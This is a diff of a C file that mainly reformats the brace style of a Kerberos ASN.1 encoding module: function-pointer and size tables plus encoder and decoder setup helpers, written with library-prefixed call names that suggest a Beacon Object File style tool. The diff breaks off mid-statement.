//(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_PRIV, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_CRED, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ERROR, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_DATA, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTION_KEY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_CHECKSUM, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_TIMESTAMP, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_SALTED_ENCRYPTED_TIMESTAMP, - NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_ETYPE_INFO, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGT_REQUEST, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PKCS_SIGNATURE, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REP, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_REPLY_KEY_PACKAGE2, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_REPLY_KEY_PACKAGE, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_KDC_DH_KEY_INFO, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REQ, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_DH_PARAMTER, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_KDC_ISSUED_AUTH_DATA, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_SERV_REFERRAL, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PAC_REQUEST, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_CHANGE_PASSWORD_DATA, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ERROR_METHOD_DATA, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_EXT_ERROR, - NULL, //(ASN1EncFun_t)ASN1Enc_TYPED_DATA, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_FOR_USER, + NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_AUTHORIZATION_DATA_LIST, + NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_IF_RELEVANT_AUTH_DATA, + NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_PREAUTH_DATA_LIST, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_PRIV, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_CRED, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ERROR, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_DATA, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTION_KEY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_CHECKSUM, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_TIMESTAMP, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_SALTED_ENCRYPTED_TIMESTAMP, + NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_ETYPE_INFO, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGT_REQUEST, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PKCS_SIGNATURE, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REP, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_REPLY_KEY_PACKAGE2, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_REPLY_KEY_PACKAGE, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_KDC_DH_KEY_INFO, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REQ, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_DH_PARAMTER, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_KDC_ISSUED_AUTH_DATA, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_SERV_REFERRAL, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PAC_REQUEST, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_CHANGE_PASSWORD_DATA, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ERROR_METHOD_DATA, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_EXT_ERROR, + NULL, //(ASN1EncFun_t)ASN1Enc_TYPED_DATA, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_FOR_USER, (ASN1EncFun_t)ASN1Enc_KERB_TICKET, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_TICKET, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AUTHENTICATOR, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AP_REQUEST, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AP_REPLY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_AP_REPLY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_SAFE_MESSAGE, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PRIV_MESSAGE, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_TICKET, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AUTHENTICATOR, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AP_REQUEST, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AP_REPLY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_AP_REPLY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_SAFE_MESSAGE, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PRIV_MESSAGE, (ASN1EncFun_t)ASN1Enc_KERB_CRED, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGT_REPLY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_SIGNED_REPLY_KEY_PACKAGE, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AUTH_PACKAGE, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_MARSHALLED_REQUEST_BODY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AS_REPLY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGS_REPLY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_AS_REPLY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_TGS_REPLY, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REP2, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AS_REQUEST, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGS_REQUEST, - NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REQ2, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGT_REPLY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_SIGNED_REPLY_KEY_PACKAGE, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AUTH_PACKAGE, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_MARSHALLED_REQUEST_BODY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AS_REPLY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGS_REPLY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_AS_REPLY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_ENCRYPTED_TGS_REPLY, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REP2, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_AS_REQUEST, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_TGS_REQUEST, + NULL, //(ASN1EncFun_t)ASN1Enc_KERB_PA_PK_AS_REQ2, }; typedef ASN1BerDecFun_t ASN1DecFun_t; ASN1DecFun_t decfntab[49] = { - NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_AUTHORIZATION_DATA_LIST, - NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_IF_RELEVANT_AUTH_DATA, - NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_PREAUTH_DATA_LIST, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_PRIV, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_CRED, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ERROR, + NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_AUTHORIZATION_DATA_LIST, + NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_IF_RELEVANT_AUTH_DATA, + NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_PREAUTH_DATA_LIST, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_PRIV, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_CRED, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ERROR, (ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_DATA, (ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTION_KEY, (ASN1DecFun_t)ASN1Dec_KERB_CHECKSUM, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_TIMESTAMP, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_SALTED_ENCRYPTED_TIMESTAMP, - NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_ETYPE_INFO, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGT_REQUEST, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PKCS_SIGNATURE, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REP, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_REPLY_KEY_PACKAGE2, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_REPLY_KEY_PACKAGE, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_KDC_DH_KEY_INFO, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REQ, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_DH_PARAMTER, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_KDC_ISSUED_AUTH_DATA, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_SERV_REFERRAL, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PAC_REQUEST, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_CHANGE_PASSWORD_DATA, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ERROR_METHOD_DATA, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_EXT_ERROR, - NULL, //(ASN1DecFun_t)ASN1Dec_TYPED_DATA, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_FOR_USER, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_TIMESTAMP, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_SALTED_ENCRYPTED_TIMESTAMP, + NULL, //(ASN1DecFun_t)ASN1Dec_PKERB_ETYPE_INFO, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGT_REQUEST, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PKCS_SIGNATURE, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REP, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_REPLY_KEY_PACKAGE2, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_REPLY_KEY_PACKAGE, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_KDC_DH_KEY_INFO, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REQ, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_DH_PARAMTER, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_KDC_ISSUED_AUTH_DATA, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_SERV_REFERRAL, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PAC_REQUEST, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_CHANGE_PASSWORD_DATA, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ERROR_METHOD_DATA, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_EXT_ERROR, + NULL, //(ASN1DecFun_t)ASN1Dec_TYPED_DATA, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_FOR_USER, (ASN1DecFun_t)ASN1Dec_KERB_TICKET, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_TICKET, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_TICKET, (ASN1DecFun_t)ASN1Dec_KERB_AUTHENTICATOR, (ASN1DecFun_t)ASN1Dec_KERB_AP_REQUEST, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AP_REPLY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_AP_REPLY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_SAFE_MESSAGE, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PRIV_MESSAGE, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AP_REPLY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_AP_REPLY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_SAFE_MESSAGE, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PRIV_MESSAGE, (ASN1DecFun_t)ASN1Dec_KERB_CRED, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGT_REPLY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_SIGNED_REPLY_KEY_PACKAGE, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AUTH_PACKAGE, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_MARSHALLED_REQUEST_BODY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AS_REPLY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGS_REPLY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_AS_REPLY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_TGS_REPLY, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REP2, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AS_REQUEST, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGS_REQUEST, - NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REQ2, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGT_REPLY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_SIGNED_REPLY_KEY_PACKAGE, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AUTH_PACKAGE, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_MARSHALLED_REQUEST_BODY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AS_REPLY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGS_REPLY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_AS_REPLY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_ENCRYPTED_TGS_REPLY, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REP2, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_AS_REQUEST, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_TGS_REQUEST, + NULL, //(ASN1DecFun_t)ASN1Dec_KERB_PA_PK_AS_REQ2, }; ASN1FreeFun_t freefntab[49] = { - NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_AUTHORIZATION_DATA_LIST, - NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_IF_RELEVANT_AUTH_DATA, - NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_PREAUTH_DATA_LIST, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_PRIV, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_CRED, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ERROR, + NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_AUTHORIZATION_DATA_LIST, + NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_IF_RELEVANT_AUTH_DATA, + NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_PREAUTH_DATA_LIST, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_PRIV, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_CRED, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ERROR, (ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_DATA, (ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTION_KEY, (ASN1FreeFun_t)ASN1Free_KERB_CHECKSUM, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_TIMESTAMP, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_SALTED_ENCRYPTED_TIMESTAMP, - NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_ETYPE_INFO, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGT_REQUEST, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PKCS_SIGNATURE, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REP, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_REPLY_KEY_PACKAGE2, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_REPLY_KEY_PACKAGE, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_KDC_DH_KEY_INFO, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REQ, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_TIMESTAMP, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_SALTED_ENCRYPTED_TIMESTAMP, + NULL, //(ASN1FreeFun_t)ASN1Free_PKERB_ETYPE_INFO, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGT_REQUEST, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PKCS_SIGNATURE, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REP, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_REPLY_KEY_PACKAGE2, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_REPLY_KEY_PACKAGE, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_KDC_DH_KEY_INFO, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REQ, (ASN1FreeFun_t)NULL, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_KDC_ISSUED_AUTH_DATA, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_SERV_REFERRAL, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_KDC_ISSUED_AUTH_DATA, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_SERV_REFERRAL, (ASN1FreeFun_t)NULL, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_CHANGE_PASSWORD_DATA, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ERROR_METHOD_DATA, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_CHANGE_PASSWORD_DATA, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ERROR_METHOD_DATA, (ASN1FreeFun_t)NULL, - NULL, //(ASN1FreeFun_t)ASN1Free_TYPED_DATA, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_FOR_USER, + NULL, //(ASN1FreeFun_t)ASN1Free_TYPED_DATA, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_FOR_USER, (ASN1FreeFun_t)ASN1Free_KERB_TICKET, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_TICKET, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_TICKET, (ASN1FreeFun_t)ASN1Free_KERB_AUTHENTICATOR, (ASN1FreeFun_t)ASN1Free_KERB_AP_REQUEST, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AP_REPLY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_AP_REPLY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_SAFE_MESSAGE, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PRIV_MESSAGE, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AP_REPLY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_AP_REPLY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_SAFE_MESSAGE, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PRIV_MESSAGE, (ASN1FreeFun_t)ASN1Free_KERB_CRED, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGT_REPLY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_SIGNED_REPLY_KEY_PACKAGE, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AUTH_PACKAGE, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_MARSHALLED_REQUEST_BODY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AS_REPLY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGS_REPLY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_AS_REPLY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_TGS_REPLY, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REP2, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AS_REQUEST, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGS_REQUEST, - NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REQ2, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGT_REPLY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_SIGNED_REPLY_KEY_PACKAGE, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AUTH_PACKAGE, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_MARSHALLED_REQUEST_BODY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AS_REPLY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGS_REPLY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_AS_REPLY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_ENCRYPTED_TGS_REPLY, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REP2, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_AS_REQUEST, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_TGS_REQUEST, + NULL, //(ASN1FreeFun_t)ASN1Free_KERB_PA_PK_AS_REQ2, }; ULONG sizetab[49] = { - 0, // SIZE_KRB5_Module_PDU_0, - 0, // SIZE_KRB5_Module_PDU_1, - 0, // SIZE_KRB5_Module_PDU_2, - 0, // SIZE_KRB5_Module_PDU_3, - 0, // SIZE_KRB5_Module_PDU_4, - 0, // SIZE_KRB5_Module_PDU_5, + 0, // SIZE_KRB5_Module_PDU_0, + 0, // SIZE_KRB5_Module_PDU_1, + 0, // SIZE_KRB5_Module_PDU_2, + 0, // SIZE_KRB5_Module_PDU_3, + 0, // SIZE_KRB5_Module_PDU_4, + 0, // SIZE_KRB5_Module_PDU_5, SIZE_KRB5_Module_PDU_6, SIZE_KRB5_Module_PDU_7, - 0, // SIZE_KRB5_Module_PDU_8, - 0, // SIZE_KRB5_Module_PDU_9, - 0, // SIZE_KRB5_Module_PDU_10, - 0, // SIZE_KRB5_Module_PDU_11, - 0, // SIZE_KRB5_Module_PDU_12, - 0, // SIZE_KRB5_Module_PDU_13, - 0, // SIZE_KRB5_Module_PDU_14, + 0, // SIZE_KRB5_Module_PDU_8, + 0, // SIZE_KRB5_Module_PDU_9, + 0, // SIZE_KRB5_Module_PDU_10, + 0, // SIZE_KRB5_Module_PDU_11, + 0, // SIZE_KRB5_Module_PDU_12, + 0, // SIZE_KRB5_Module_PDU_13, + 0, // SIZE_KRB5_Module_PDU_14, SIZE_KRB5_Module_PDU_15, - 0, // SIZE_KRB5_Module_PDU_16, - 0, // SIZE_KRB5_Module_PDU_17, - 0, // SIZE_KRB5_Module_PDU_18, - 0, // SIZE_KRB5_Module_PDU_19, - 0, // SIZE_KRB5_Module_PDU_20, - 0, // SIZE_KRB5_Module_PDU_21, - 0, // SIZE_KRB5_Module_PDU_22, - 0, // SIZE_KRB5_Module_PDU_23, - 0, // SIZE_KRB5_Module_PDU_24, - 0, // SIZE_KRB5_Module_PDU_25, - 0, // SIZE_KRB5_Module_PDU_26, - 0, // SIZE_KRB5_Module_PDU_27, + 0, // SIZE_KRB5_Module_PDU_16, + 0, // SIZE_KRB5_Module_PDU_17, + 0, // SIZE_KRB5_Module_PDU_18, + 0, // SIZE_KRB5_Module_PDU_19, + 0, // SIZE_KRB5_Module_PDU_20, + 0, // SIZE_KRB5_Module_PDU_21, + 0, // SIZE_KRB5_Module_PDU_22, + 0, // SIZE_KRB5_Module_PDU_23, + 0, // SIZE_KRB5_Module_PDU_24, + 0, // SIZE_KRB5_Module_PDU_25, + 0, // SIZE_KRB5_Module_PDU_26, + 0, // SIZE_KRB5_Module_PDU_27, SIZE_KRB5_Module_PDU_28, - 0, // SIZE_KRB5_Module_PDU_29, + 0, // SIZE_KRB5_Module_PDU_29, SIZE_KRB5_Module_PDU_30, SIZE_KRB5_Module_PDU_31, - 0, // SIZE_KRB5_Module_PDU_32, - 0, // SIZE_KRB5_Module_PDU_33, - 0, // SIZE_KRB5_Module_PDU_34, - 0, // SIZE_KRB5_Module_PDU_35, + 0, // SIZE_KRB5_Module_PDU_32, + 0, // SIZE_KRB5_Module_PDU_33, + 0, // SIZE_KRB5_Module_PDU_34, + 0, // SIZE_KRB5_Module_PDU_35, SIZE_KRB5_Module_PDU_36, - 0, // SIZE_KRB5_Module_PDU_37, - 0, // SIZE_KRB5_Module_PDU_38, - 0, // SIZE_KRB5_Module_PDU_39, - 0, // SIZE_KRB5_Module_PDU_40, - 0, // SIZE_KRB5_Module_PDU_41, - 0, // SIZE_KRB5_Module_PDU_42, - 0, // SIZE_KRB5_Module_PDU_43, - 0, // SIZE_KRB5_Module_PDU_44, - 0, // SIZE_KRB5_Module_PDU_45, - 0, // SIZE_KRB5_Module_PDU_46, - 0, // SIZE_KRB5_Module_PDU_47, - 0, // SIZE_KRB5_Module_PDU_48, + 0, // SIZE_KRB5_Module_PDU_37, + 0, // SIZE_KRB5_Module_PDU_38, + 0, // SIZE_KRB5_Module_PDU_39, + 0, // SIZE_KRB5_Module_PDU_40, + 0, // SIZE_KRB5_Module_PDU_41, + 0, // SIZE_KRB5_Module_PDU_42, + 0, // SIZE_KRB5_Module_PDU_43, + 0, // SIZE_KRB5_Module_PDU_44, + 0, // SIZE_KRB5_Module_PDU_45, + 0, // SIZE_KRB5_Module_PDU_46, + 0, // SIZE_KRB5_Module_PDU_47, + 0, // SIZE_KRB5_Module_PDU_48, }; -ASN1module_t ASN1CALL KRB5_Module_Startup(void) { +ASN1module_t ASN1CALL KRB5_Module_Startup(void) +{ return MSASN1$ASN1_CreateModule(0x10000, ASN1_BER_RULE_DER, ASN1FLAGS_NOASSERT, 49, - (const ASN1GenericFun_t*)encfntab, (const ASN1GenericFun_t*)decfntab, freefntab, + (const ASN1GenericFun_t *)encfntab, (const ASN1GenericFun_t *)decfntab, freefntab, sizetab, 0x3562726b); } void ASN1CALL KRB5_Module_Cleanup(ASN1module_t module) { MSASN1$ASN1_CloseModule(module); } -KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t* pEnc, ASN1decoding_t* pDec) { +KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t *pEnc, ASN1decoding_t *pDec) +{ KERBERR KerbErr = KRB_ERR_GENERIC; ASN1error_e Asn1Err; - if (pEnc != NULL) { + if (pEnc != NULL) + { Asn1Err = MSASN1$ASN1_CreateEncoder(module, pEnc, NULL, 0, NULL); - } else { + } + else + { Asn1Err = MSASN1$ASN1_CreateDecoder(module, pDec, NULL, 0, NULL); } - if (ASN1_SUCCESS != Asn1Err) { + if (ASN1_SUCCESS != Asn1Err) + { goto Cleanup; } KerbErr = KDC_ERR_NONE; @@ -286,35 +292,47 @@ Cleanup: return KerbErr; } -void KerbTermAsn(ASN1encoding_t pEnc, ASN1decoding_t pDec) { - if (pEnc != NULL) { +void KerbTermAsn(ASN1encoding_t pEnc, ASN1decoding_t pDec) +{ + if (pEnc != NULL) + { MSASN1$ASN1_CloseEncoder(pEnc); - } else if (pDec != NULL) { + } + else if (pDec != NULL) + { MSASN1$ASN1_CloseDecoder(pDec); } } -KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR* EncodedData) { +KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR *EncodedData) +{ KERBERR KerbErr = KDC_ERR_NONE; ASN1encoding_t pEnc = NULL; ASN1error_e Asn1Err; KerbErr = KerbInitAsn(module, &pEnc, NULL); - if (!KERB_SUCCESS(KerbErr)) { + if (!KERB_SUCCESS(KerbErr)) + { goto Cleanup; } Asn1Err = MSASN1$ASN1_Encode(pEnc, Data, PduValue, ASN1ENCODE_ALLOCATEBUFFER, NULL, 0); - if (!ASN1_SUCCEEDED(Asn1Err)) { + if 